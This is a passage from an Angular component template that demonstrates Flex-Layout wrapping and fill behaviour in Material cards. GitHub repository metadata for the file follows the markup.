<md-card-title>'Flex' with Layout-Wrap</md-card-title> <md-card-subtitle>Using "layout-wrap" to wrap positioned items within a layout container</md-card-subtitle> <md-card-content> <div class="containerX"> <div [fxLayout]="direction" fxLayoutWrap class="colored wrapped box" (click)="toggleDirection()" style="cursor: pointer;"> <div fxFlex="30"> fxFlex="30"</div> <div fxFlex="45"> fxFlex="45"</div> <div fxFlex="19"> fxFlex="19"</div> <div fxFlex="33"> fxFlex="33"</div> <div fxFlex="67"> fxFlex="67"</div> <div fxFlex="50"> fxFlex="50"</div> <div fxFlex> fxFlex</div> </div> </div> </md-card-content> </md-card> <md-card class="page-card widget-table"> <md-card-title>Layout Fill</md-card-title> <md-card-subtitle>Using 'fxFill' to fill available width and height of parent container.</md-card-subtitle> <md-card-content class="large"> <div class="containerX"> <div fxLayout="column" fxFill> <div fxLayout fxFlex> <div class="one" fxFlex="20" fxLayoutAlign="center center"> A</div> <div class="two" fxFlex="80" fxLayoutAlign="center center"> B</div> </div> </div> </div> </md-card-content> </md-card> </div>
{ "content_hash": "640d7486ff158a550234543caa7f1921", "timestamp": "", "source": "github", "line_count": 165, "max_line_length": 119, "avg_line_length": 43.70909090909091, "alnum_prop": 0.5933166943982252, "repo_name": "marulinho/Proyecto-Angular-Final", "id": "2f48a81a49c23ece34f80f262c70a291d056316e", "size": "7212", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/app/pages/layout-flex/layout-flex.component.html", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "216011" }, { "name": "HTML", "bytes": "698754" }, { "name": "JavaScript", "bytes": "1980" }, { "name": "Shell", "bytes": "1047" }, { "name": "TypeScript", "bytes": "599148" } ], "symlink_target": "" }